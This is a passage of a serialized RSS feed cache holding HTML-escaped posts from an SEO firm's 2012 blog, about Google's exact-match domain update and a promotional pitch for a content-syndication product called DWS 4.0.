href=\&quot;http://www.seroundtable.com/google-emd-update-15776.html\&quot;&gt;Barry Schwartz&lt;/a&gt; from &lt;strong&gt;SEO Round Table&lt;/strong&gt; gleaned a tidbit of relevant info on the EMD update. Apparently, in a recent tweet by Matt Cutts (head of Google’s Web Spam Team) he states – “&lt;em&gt;Minor weather report: small upcoming Google algo change will reduce low-quality &amp;#8220;exact-match&amp;#8221; domains in search results.&lt;/em&gt;”&lt;/p&gt;\n&lt;p&gt;Cutts later tweeted – &lt;em&gt;“New exact-match domain (EMD) algo affects 0.6% of English-US queries to a noticeable degree. Unrelated to Panda/Penguin”.&lt;/em&gt;&lt;/p&gt;\n&lt;p&gt;Now your first thought, 0.6 that’s not so bad right? That all depends on the &lt;a href=\&quot;http://www.theatlantic.com/technology/archive/2012/09/google-news-at-10-how-the-algorithm-won-over-the-news-industry/262641/\&quot;&gt;sheer volume&lt;/a&gt; of total English-US queries, and, if that number is &lt;strong&gt;theoretically&lt;/strong&gt; 100,000,000,000 queries per day (100 billion), that represents 60 million potential queries &lt;strong&gt;affected daily&lt;/strong&gt; by this change.&lt;/p&gt;\n&lt;p&gt;There’s &lt;strong&gt;&lt;em&gt;nothing minor about this&lt;/em&gt;&lt;/strong&gt; or any other algorithm, infrastructure or classifier change in a search engines’ index, more specifically, this is the equivalent of Hurricane Katrina to a small business or website &lt;em&gt;not fortified by alternative traffic or citation sources&lt;/em&gt;.&lt;/p&gt;\n&lt;p&gt;While most webmasters may not own an EMD or rely strictly on the ranking power of an exact match domain alone; if you do own a full or partial hyphenated EMD and your website’s major keywords disappear, your revenue is and business model are inevitably impacted instantly.&lt;/p&gt;\n&lt;p&gt;As far as chain reactions go, once rankings dip, your cash flow could tank or you could inevitably go out of business, unless you have a plan B for traffic (particularly in this economy).&lt;/p&gt;\n&lt;p&gt;Based on the inquiries we have received for the past 6 months from companies in need of solutions to Google changes, most webmasters (business owners, individuals and affiliates alike), do not have a plan B and are &lt;strong&gt;puzzled, frustrated, agitated or struggling&lt;/strong&gt; to determine &lt;em&gt;what happened to their traffic&lt;/em&gt;, &lt;em&gt;what &lt;strong&gt;they did&lt;/strong&gt; or &lt;strong&gt;did not do&lt;/strong&gt;&lt;/em&gt; and, most of all &lt;strong&gt;why now&lt;/strong&gt;, when things were just fine before the latest &lt;span style=\&quot;text-decoration: line-through;\&quot;&gt;monkey wrench&lt;/span&gt; tweak. Was it a competitor throwing a batch of bad links from negative SEO, or did they simply trip a filter and get hit with a penalty?&lt;/p&gt;\n&lt;p&gt;In either case, it’s dangerous for webmasters to blindly assume that once you attain a high ranking position for your primary keyword (exact match domain or otherwise) that your website won’t be churned off the page (from an update, filter or algorithm change).&lt;/p&gt;\n&lt;p&gt;Often, &lt;strong&gt;it’s not even your site being penalized&lt;/strong&gt;; it’s the other sites that linked to yours that took the hit (and your website is no longer buoyant in the search results as a result). Keep in mind that when they purge their index many of the sites that were holding other sites up (by virtue of their citation/links) have been caught (essentially algorithmically neutered) from passing link flow to other websites.&lt;/p&gt;\n&lt;p&gt;Since citation leaves a footprint, if your website happened to receive sustenance from an algorithmically compromised website, then, like a chain of dominos, the link-flow dropped off. Essentially, you start from zero again and fall to the back of the line (rolled back 5-10 pages in the search results) or sometimes worse (not ranking at all for the keyword).&lt;/p&gt;\n&lt;p&gt;The point is, there are no guarantees when it comes to how search engines tally links, popularity, relevance and value, it’s merely their perception of &lt;strong&gt;what they think their users want&lt;/strong&gt;. What Google forgets is, it’s those same users &lt;em&gt;who own websites and have become dependent on that traffic for their business&lt;/em&gt; who are getting thrown under the bus and have no idea why.&lt;/p&gt;\n&lt;p&gt;This process has gone on for years and quite frankly, people are getting tired of running the gauntlet and trying to appease their new rules (starting with things like adding nofollow attributes to all outbound links) because Google couldn’t detect link intent i.e. &lt;strong&gt;“paid links”&lt;/strong&gt; with their algorithm and wanted to impose using nofollow to webmasters to add nofollow attributes to all outbound links (using the fear of penalties) as a consequence.&lt;/p&gt;\n&lt;p&gt;Over time, Google just kept a plethora of updates coming (in the name or relevancy) from the Florida Update, the Big Daddy Update, the May Day Update, The Vince Update, the Panda Update, Penguin Update, etc., &lt;strong&gt;enough is enough already&lt;/strong&gt;.&lt;/p&gt;\n&lt;h2&gt;Is SEO Still Important?&lt;/h2&gt;\n&lt;p&gt;Is SEO still important? Yes and No!&lt;/p&gt;\n&lt;p&gt;SEO is important if you have (1) implemented conversion optimization first, so that regardless of &lt;strong&gt;where your traffic emanates from&lt;/strong&gt;, it will result in increased ROI (return on investment)  via more subscriptions, social engagement (viral traffic) or sales and (2) If you have the budget and / or staff to afford implementing the often tedious work associated with SEO.&lt;/p&gt;\n&lt;p&gt;SEO is NOT important if want to spend more money on Television, Radio, Newspaper ads, Pay-Per-Click, have a strong offline marketing push. While Google&amp;#8217;s claim for making these changes is relevancy, their motivation has transcended &amp;#8220;building the best search engine&amp;#8221; and has become something far more transparent (scrub &lt;span style=\&quot;text-decoration: line-through;\&quot;&gt;compromise&lt;/span&gt; the organic search    results and focus on paid search which provides approximately 98% of all profits for Google).&lt;/p&gt;\n&lt;h2&gt;How Do You Get Ranked?&lt;/h2&gt;\n&lt;p&gt;After perfecting your &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/is-your-on-page-seo-strong-enough/\&quot;&gt;on page SEO&lt;/a&gt;, a large portion of the SEO process is based on developing sufficient website authority through exceeding the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/why-internal-links-are-more-important-than-backlinks/\&quot;&gt;algorithmic tipping point&lt;/a&gt; for on page content (with the quality of that content now being equally as important as the volume and frequency).&lt;/p&gt;\n&lt;p&gt;Essentially, since articles don’t write themselves, you’ll need an in-house &lt;strong&gt;subject matter expert&lt;/strong&gt; or a knowledgeable writer or team of writers if you intend on developing the authority site model.  Instead of building and relying on backlinks, create content that is worthy to garner its own links or leverage the on page authority and trust your website has to catapult past less authoritative websites in your way.&lt;/p&gt;\n&lt;p&gt;Keep in mind, developing authority is a lengthy process that requires commitment and dedication to quality and consistency (always providing users’ value instead of rehashing vague fodder). Also remember that nothing happens overnight with SEO (most sustainable results can take months), in short, it’s all about &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/how-to-reference-material/you-reap-what-you-sow-with-organic-seo/\&quot;&gt;planting and sowing&lt;/a&gt; the results over time.&lt;/p&gt;\n&lt;p&gt;If your content is stellar, people will share it (if you give them a nudge) and the social sharing has tremendous weight in the new algorithm (to expedite authority for the page and hence the site).&lt;/p&gt;\n&lt;p&gt;If you plan on using the three strategies outlined above, then SEO is important. Otherwise, you may have to seek &lt;a href=\&quot;http://www.networkedblogs.com/\&quot;&gt;alternative traffic sources&lt;/a&gt; to offset dependency on Google’s organic traffic as a life vein for your business.&lt;/p&gt;\n&lt;h2&gt;SEO Bizarro World&lt;/h2&gt;\n&lt;p&gt;Is the epic battle of giants affecting your business?&lt;/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;\n&lt;div id=\&quot;attachment_9150\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 510px\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9150\&quot; title=\&quot;6a00d8345158e369e200e552abeda58834-500wi\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/10/6a00d8345158e369e200e552abeda58834-500wi.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;377\&quot; /&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Me Facebook Beat You Google&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Image courtesy of (&lt;a href=\&quot;http://comiccoverage.typepad.com/comic_coverage/2008/06/cover-to-cover-action-comics-1.html\&quot;&gt;comic coverage&lt;/a&gt;).&lt;/p&gt;\n&lt;p&gt;In this Bizarro world where Google wants to be more social and Facebook is talking about creating their own search engine, &lt;em&gt;be worried, be very worried&lt;/em&gt; since core competencies exist for a reason.&lt;/p&gt;\n&lt;p&gt;The rise and fall of search results for webmasters may result in a requiem for search engines, since consumers can easily &lt;strong&gt;“jump ship”&lt;/strong&gt; and find the next big thing and find new ways to &lt;strong&gt;get what they want&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;Let’s just say that backlash is an understatement and when the search bubble bursts (and it will), I wouldn’t want to be in aisle 5 (if you catch my drift). I’m sure Myspace, Digg and other once popular websites never saw it coming as they were displaced by a fickle (or bored) user base or lots of savvy emerging competitors who introduced something equally viable to woo their users away. The end result,  their traffic sources (repeat visitors) dried up (like dust in the wind).&lt;/p&gt;\n&lt;p&gt;While search does not exclusively belong to Google, quality matters and the importance and credibility of organic results is what delivers the most traffic from repeat visitors.&lt;/p&gt;\n&lt;p&gt;If the quality and relevancy suffers, the site loses its value. In my opinion, that is how I view Google’s search results, quite simply, &lt;em&gt;they have filtered so many things that good sites along with the bad have been suppressed &lt;/em&gt;(which translates to a poor user experience). I find myself having to refine my searches more and more, since the results on the first page are NOT what I am looking for and often are so far off topic I am amazed how it surfaced.&lt;/p&gt;\n&lt;h2&gt;Don&amp;#8217;t Let Bad Search Happen to You!&lt;/h2&gt;\n&lt;p&gt;So, not to go all &lt;strong&gt;“fist of goodness”&lt;/strong&gt; on you here (props to direct TV vs. cable ads) but, this is one thing for both Google and users alike to keep in mind.&lt;/p&gt;\n&lt;p&gt;&lt;object classid=\&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\&quot; width=\&quot;500\&quot; height=\&quot;281\&quot; codebase=\&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\&quot;&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot; /&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot; /&gt;&lt;param name=\&quot;src\&quot; value=\&quot;http://www.youtube.com/v/Lo2hyWYOV6g?version=3&amp;amp;hl=en_US\&quot; /&gt;&lt;param name=\&quot;allowfullscreen\&quot; value=\&quot;true\&quot; /&gt;&lt;embed type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;500\&quot; height=\&quot;281\&quot; src=\&quot;http://www.youtube.com/v/Lo2hyWYOV6g?version=3&amp;amp;hl=en_US\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;\n&lt;p&gt;When people lose confidence in search engines, the less people search, the less people search, the less valuable the paid ads become, the less valuable the paid ads become the more a search engine tries to justify its position to those paying for ads, the more a search engine tries to justify its position for those paying for ads, the more changes, penalties or adjustments are enforced through “the index vs. the content in the index” which affects its organic user base, the more changes, penalties or adjustments are made that affect the organic user base, the less users will depend on search engines.&lt;/p&gt;\n&lt;p&gt;Don’t let bad search happen to you, don’t rely strictly on search engines…&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=ryL6RtTC0UA:Dr3friZCmoo:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/ryL6RtTC0UA\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:14;a:12:{s:5:\&quot;title\&quot;;s:64:\&quot;SEO Overhauled: It’s not about links, it’s about promotions!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/0o45EW4lGDs/\&quot;;s:8:\&quot;category\&quot;;s:98:\&quot;SEO VideosDWS 4.0 is LiveIs SEO Dead?Online Marketing and PromotionOnline PromotionsSEO Overhauled\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Tue, 24 Jul 2012 01:42:17 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9122\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:18883:\&quot;&lt;p&gt;Rather than overreact to rankings alone and scream the sky is falling, for the past 15 months we have been quietly testing new strategies that can withstand the likes of &lt;strong&gt;Panda&lt;/strong&gt; (&lt;em&gt;a quality control classifier&lt;/em&gt;) and &lt;strong&gt;Penguin&lt;/strong&gt; (&lt;em&gt;a thematic link sniffing filter&lt;/em&gt;) that demotes websites with excessive inbound anchor text  i.e. &lt;strong&gt;“unnatural”&lt;/strong&gt; link signals.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9123\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 509px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-videos/seo-overhauled-it%E2%80%99s-not-about-links-it%E2%80%99s-about-promotions/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9123\&quot; title=\&quot;SEO-Overhaul\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/07/SEO-Overhaul.jpg\&quot; alt=\&quot;SEO Overhauled\&quot; width=\&quot;499\&quot; height=\&quot;518\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;It&amp;#39;s Not About Links, It&amp;#39;s About Promotions&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Keep in mind suspicious or contrived &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/seo-rankings-trust-and-relevance-signals/\&quot;&gt;link signals&lt;/a&gt; could imply a wide variety of possibilities, such as:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Unnatural &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/balancing-link-diversity-link-velocity-and-link-volume/\&quot;&gt;link velocity&lt;/a&gt; (building or losing links too fast).&lt;/li&gt;\n&lt;li&gt;Excessive anchor text, i.e. a high percentage of the same or similar anchor-text.&lt;/li&gt;\n&lt;li&gt; Links from mixed-fruit / atypical websites that lack genuine/natural signals such as (1) supporting / thematic inbound links (2) traffic and engagement or (3) social signals (which is why many generic link networks failed to get past Penguin).&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;span id=\&quot;more-9122\&quot;&gt;&lt;/span&gt;&lt;br /&gt;\nIt&amp;#8217;s no secret that two Google algorithm changes (&lt;strong&gt;Penguin&lt;/strong&gt; and &lt;strong&gt;Panda&lt;/strong&gt;) nearly eradicated SEO as we knew it, however,one thing is certain about SEO, the fact that it&amp;#8217;s always adapting or in a state of flux.&lt;/p&gt;\n&lt;p&gt;Adaptation in this instance implies (a) understanding the entire keyword climate for all educational or promotional key phrases that consumers are using while progressing through the sales cycle (b) using that language strategically in titles, on page content, &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=www.networkempire.com/sales-page/silo-plugin-sales-page/\&quot;&gt;in your promotions&lt;/a&gt; (content, images and links) and (c) in the social graph as hooks &lt;strong&gt;that all drive traffic back to your branded promotional properties&lt;/strong&gt; or your &lt;strong&gt;primary website. &lt;/strong&gt;Expanding this process systemically facilitates perpetual conversions.&lt;/p&gt;\n&lt;h3&gt;Is SEO Dead As We Know It?&lt;/h3&gt;\n&lt;p&gt;Have the rules changed? Absolutely! Is SEO dead? &lt;em&gt;In its previous embodiment&lt;/em&gt;, to a large extent, yes!  So, the bottom line is (1) what now? And (2) &lt;strong&gt;how do I broadcast my brand and my message&lt;/strong&gt; instead of merely churning mediocre content or fiddling with low quality backlinks?&lt;/p&gt;\n&lt;p&gt;Watch the videos below and learn how to quickly create your own thematically relevant &lt;strong&gt;“personal broadcast network”&lt;/strong&gt; using WordPress, &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=www.networkempire.com/sales-page/silo-plugin-sales-page/\&quot;&gt;DWS&lt;/a&gt; and our plugin amply named “&lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=www.networkempire.com/sales-page/silo-plugin-sales-page/\&quot;&gt;The Silo Blog Builder&lt;/a&gt;”. Afterwards, make sure to  watch the webinar (further down the page) for an in depth overview of the new DWS 4.0 online promotion paradigm.&lt;/p&gt;\n&lt;p&gt;&lt;object classid=\&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\&quot; width=\&quot;500\&quot; height=\&quot;281\&quot; codebase=\&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\&quot;&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot; /&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot; /&gt;&lt;param name=\&quot;src\&quot; value=\&quot;http://www.youtube.com/v/EB5qMffmAKQ?version=3&amp;amp;hl=en_US\&quot; /&gt;&lt;param name=\&quot;allowfullscreen\&quot; value=\&quot;true\&quot; /&gt;&lt;embed type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;500\&quot; height=\&quot;281\&quot; src=\&quot;http://www.youtube.com/v/EB5qMffmAKQ?version=3&amp;amp;hl=en_US\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;\n&lt;p&gt;Put simply, if your primary website lacks traffic or sales, then no amount of outdated SEO (circa. the Google Penguin update April 2012) will make a difference. It’s not just about rankings; it’s about how scalable your traffic sources are and how adept you are in extracting &lt;strong&gt;relevant traffic on demand&lt;/strong&gt;.&lt;/p&gt;\n&lt;h3&gt;Spoiler Alert Regarding Blog Networks!!!&lt;/h3&gt;\n&lt;p&gt;Do mixed-fruit blog networks still work? No! or at least until a filter weeds them out. However, &lt;strong&gt;theme relevant networks &lt;/strong&gt;still pass ranking factor (and can serve as a branded broadcast beacon for extended promotions), which means a link  from &lt;strong&gt;site B&lt;/strong&gt; to &lt;strong&gt;site A&lt;/strong&gt; must be &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-videos/seo-video-how-to-properly-silo-your-website/\&quot;&gt;theme relevant&lt;/a&gt; (have the same topic) and use the appropriate anchor text along  with related synonyms (a.k.a. the DNA Braid) to avoid overoptimization filters or being smacked / deindexed.&lt;/p&gt;\n&lt;p&gt;If you are creating a beacon/site, it also helps to create stellar content (worthy of social media) and syndicate that content (to build links to your links) and ensure the longevity of your &lt;strong&gt;&amp;#8220;broadcast channel&amp;#8221;&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;The new paradigm suggests to look past rankings and think of &lt;strong&gt;each site or promotional property&lt;/strong&gt; as a beacon, broadcasting YOU (your brand), All the Time, Right NOW!&lt;/p&gt;\n&lt;h3&gt;It’s Not About Links, It’s About Promotions!&lt;/h3&gt;\n&lt;p&gt;In a competitive online environment, using obsolete legacy metrics (such as search engine rankings and only using one website to compete) is defunct as a viable strategy.&lt;/p&gt;\n&lt;p&gt;The imperative &lt;strong&gt;metrics&lt;/strong&gt; to consider are (1) how scalable are your personal broadcast networks? and (2) how theme relevant and extensive are your syndication sequences for generating &lt;strong&gt;traffic&lt;/strong&gt; which is &lt;em&gt;the only metric that matters&lt;/em&gt;.&lt;/p&gt;\n&lt;p&gt;Learn &lt;strong&gt;how to create a proper promotional campaign&lt;/strong&gt;, including:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;which keywords to use&lt;/li&gt;\n&lt;li&gt;how much those keywords are worth to your business&lt;/li&gt;\n&lt;li&gt;how long it will take to get ranked&lt;/li&gt;\n&lt;li&gt;how to use website silo architecture  to build your website&lt;/li&gt;\n&lt;li&gt;which content , synonyms and type of promotions you need to drive traffic&lt;/li&gt;\n&lt;li&gt;knowing which social media sites, RSS directories, video sites or press release&lt;br /&gt;\nsources to use and having a project management suite to coordinate your team.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h3&gt;Take The Next Step: Watch the &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152\&quot;&gt;DWS 4.0&lt;/a&gt; Webinar!&lt;/h3&gt;\n&lt;p&gt;&lt;object classid=\&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\&quot; width=\&quot;500\&quot; height=\&quot;375\&quot; codebase=\&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\&quot;&gt;&lt;param value=\&quot;http://www.youtube.com/v/txB97iCsUmU?version=3&amp;amp;hl=en_US\&quot; /&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot; /&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot; /&gt;&lt;param name=\&quot;src\&quot; value=\&quot;http://www.youtube.com/v/txB97iCsUmU?version=3&amp;amp;hl=en_US\&quot; /&gt;&lt;param name=\&quot;allowfullscreen\&quot; value=\&quot;true\&quot; /&gt;&lt;embed type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;500\&quot; height=\&quot;375\&quot; src=\&quot;http://www.youtube.com/v/txB97iCsUmU?version=3&amp;amp;hl=en_US\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;\n&lt;p&gt;Sure, on page SEO is still important, however quality content and engagement is a metric you simply can’t afford to overlook, and about that “&lt;em&gt;off page SEO thing&lt;/em&gt;”, yeah, &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/how-to-avoid-seo-over-optimization/\&quot;&gt;over optimization&lt;/a&gt; is real, but just keep in mind, now, it’s not just about links, it’s about promotions.&lt;/p&gt;\n&lt;p&gt;Allow me to explain!&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;People Hemmed up in Panda and Penguin Algorithms Typically:&lt;/strong&gt;&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Got a bit too greedy with off page SEO (link metrics) and churned out as much content to build links as possible (without thinking of quality).As a result, Google struck back with their quality control algorithms which comprised stricter filters, classifiers and relevance signals, (i.e. social signals, engagement time, bounce rate, &lt;em&gt;thematic relevance of the link graph&lt;/em&gt; for the target and refering site) and 200 other &lt;strong&gt;fancy smancy words&lt;/strong&gt; that translate to &lt;strong&gt;“if your website sucks, then good luck finding it in their SERPs&amp;#8221;&lt;/strong&gt;).&lt;/li&gt;\n&lt;li&gt;People hemmed up in the Panda / Penguin Algo had a tendency to get a bit too lose with quality control on their promotional content and found out that &lt;strong&gt;regardless of the traffic source&lt;/strong&gt; – you &lt;strong&gt;MUST&lt;/strong&gt; have something useful to contribute.Otherwise, your content will simply be skimmed over for something useful and ignored vs. starting with a solid foundation of engaging contnent and promotional content to begin with.&lt;/li&gt;\n&lt;li&gt;Websites drastically afftected by Panda or Penguin often relied too heavily on one metric (such as links)  because it was working and thus became complacent in regard to seeking viable alternatives or finding new ways to reach their ideal consumer.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;Remember, Google is merely one traffic source; a very popular one, but not  every consumer uses or purchases exclusively through their link/traffic/ sales funnel. This means, there are a myriad of &lt;strong&gt;alternate traffic funnels&lt;/strong&gt; that you can leverage systematically to reach your audience contextually, socially or otherwise.&lt;/p&gt;\n&lt;p&gt;A consumer’s impulse to purchase is either active or dormant, yet if that dormant spark of desire is enlivened through curiosity, a clever headline, utility or impulse, then conversion is merely a few clicks away. Conversions (making a sale) is not exclusive to Google, in fact, conversions can occur from a multitude of sources.&lt;/p&gt;\n&lt;p&gt;For example, a conversion could occur from:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;playing a game online and being lured by an enticing banner&lt;/li&gt;\n&lt;li&gt;during social interactions on Facebook (or other social platforms) from banners or contextual links&lt;br /&gt;\nbeing lured from teaser “check this out” social media content or images in their various clever iterations&lt;/li&gt;\n&lt;li&gt;from reading articles and clicking the contextual links (after social proof is established).&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;This process, setting up the sales funnel should not be left to happenstance alone. In fact, when we map this phase of a campaign for a new client, we use what &lt;a href=\&quot;http://www.youtube.com/watch?v=jsS8Zppd_q4\&quot;&gt;Russell Wright&lt;/a&gt; brilliantly coined as the &lt;strong&gt;IS-DNA&lt;/strong&gt;. The letter &amp;#8220;I&amp;#8221; in &amp;#8220;IS-DNA&amp;#8221; stands for Invention/Innovation/Industry and the &amp;#8220;S&amp;#8221; stands for &amp;#8220;Solution&amp;#8221;.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9124\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 510px\&quot;&gt;&lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9124\&quot; title=\&quot;Network-Empire-DWS-DNA\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/07/Network-Empire-DWS-DNA.jpg\&quot; alt=\&quot;Network-Empire-DWS-DNA\&quot; width=\&quot;500\&quot; height=\&quot;375\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Understanding Promotion as a Stackable Process&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;When we speak of &amp;#8220;DNA&amp;#8221; in our material we simply mean &amp;#8220;components of&amp;#8221; or &lt;strong&gt;&amp;#8220;building blocks of&amp;#8221;&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;So &amp;#8220;IS-DNA&amp;#8221; translates into the &amp;#8220;building blocks&amp;#8221; of your innovation or invention that you have provided to your industry.&lt;/p&gt;\n&lt;p&gt;The purpose of the IS-DNA process is to align your market&amp;#8217;s FAQs (frequently asked questions) with your market&amp;#8217;s SAQ&amp;#8217;s (should ask questions) by drilling down and getting to &lt;strong&gt;&amp;#8220;the questions behind the questions&amp;#8221;&lt;/strong&gt;, or &lt;strong&gt;&amp;#8220;the pain behind the questions&lt;/strong&gt;&amp;#8221; which will be used later to create highly converting articles and videos using the PAM (painkiller article method).&lt;/p&gt;\n&lt;p&gt;Remember that we are giving you a &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152\&quot;&gt;highly profitable stack-able business process&lt;/a&gt;, and the IS-DNA may very well be the most important part of the entire process, because it is the BASE of your PLMM (Perpetual Lead Magnet Machine) System and Pyramid. &lt;strong&gt;Get this wrong&lt;/strong&gt; and you may end up &lt;strong&gt;using the wrong language to talk to the wrong market!&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;The IS-DNA set&amp;#8217;s the stage by creating a matrix of market questions in order to help you select the most effective language that can reach your target market because you (and your team) will truly understand the problems and pains that have been solved for them by your product or service (innovation or invention).&lt;/p&gt;\n&lt;p&gt;Once you have mapped out &lt;strong&gt;“the pain in the market”&lt;/strong&gt;, you can tactfully craft “&lt;a href=\&quot;http://www.theme-zoom.com/krakken12/pdf/the-4-million-dollar-market-research-questions.pdf\&quot;&gt;pain killers&lt;/a&gt;” (PDF Download) in your content, videos, social media and/or promotions to transcend &lt;em&gt;traffic-dependency&lt;/em&gt; (such as Google) to devour your entire market. To thrive, you’ll have to escape the grasp of one simple traffic funnel to flourish.&lt;/p&gt;\n&lt;p&gt;Whenever you rely solely on a &lt;strong&gt;“&lt;em&gt;for profit business&lt;/em&gt;”&lt;/strong&gt;, &lt;em&gt;that business&lt;/em&gt; (potentially) has the ability to &lt;strong&gt;endanger your bottom line&lt;/strong&gt;. Just as the “&lt;em&gt;eggs in one basket&lt;/em&gt;” adage comes to mind, the question is, are you still in Google’s pocket? Or have you considered a long-term contingent strategy diverse enough to flourish (if Google or your most lucrative traffic source simply stopped providing traffic?).&lt;/p&gt;\n&lt;p&gt;To avoid putting your business at risk you must hedge your primary property with branded social media and third-party websites (just in case). Consider Google’s last algorithm change Penguin. Many who were unprepared suffered, as their once profitable websites spigot of traffic got shut off, &lt;strong&gt;forcing them to find alternatives&lt;/strong&gt; &amp;#8211; rather than diverisfying and being prepared (as if Google never existed) in the first place.&lt;/p&gt;\n&lt;p&gt;In order to do that, you must change the way you think, which means instead of thinking about &lt;strong&gt;backlinks and on page optimization&lt;/strong&gt;, replace on page SEO with “&lt;em&gt;genuinely engaging content&lt;/em&gt;” and replace backlinks with the idea of “&lt;em&gt;broadcasts&lt;/em&gt;” and “&lt;em&gt;promotions&lt;/em&gt;” and broadcasting your brand (across hundreds of traffic-bearing sources) using a &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=www.networkempire.com/testimonials/\&quot;&gt;stackable / repeatable process&lt;/a&gt; that YOU control.&lt;/p&gt;\n&lt;p&gt;Remember, backlinks are merely a byproduct of promotions if you don’t have anything worthy of sending traffic to, then visitors will simply bounce in search of better content; so, there is no need to put the cart before the horse.&lt;/p&gt;\n&lt;div id=\&quot;attachment_9127\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 410px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/how-to-get-your-seo-call-to-action-and-conversion-on-the-same-page/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9127\&quot; title=\&quot;call-to-action\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2012/07/call-to-action.jpg\&quot; alt=\&quot;Call to Action\&quot; width=\&quot;400\&quot; height=\&quot;486\&quot; /&gt;&lt;/a&gt;&lt;p 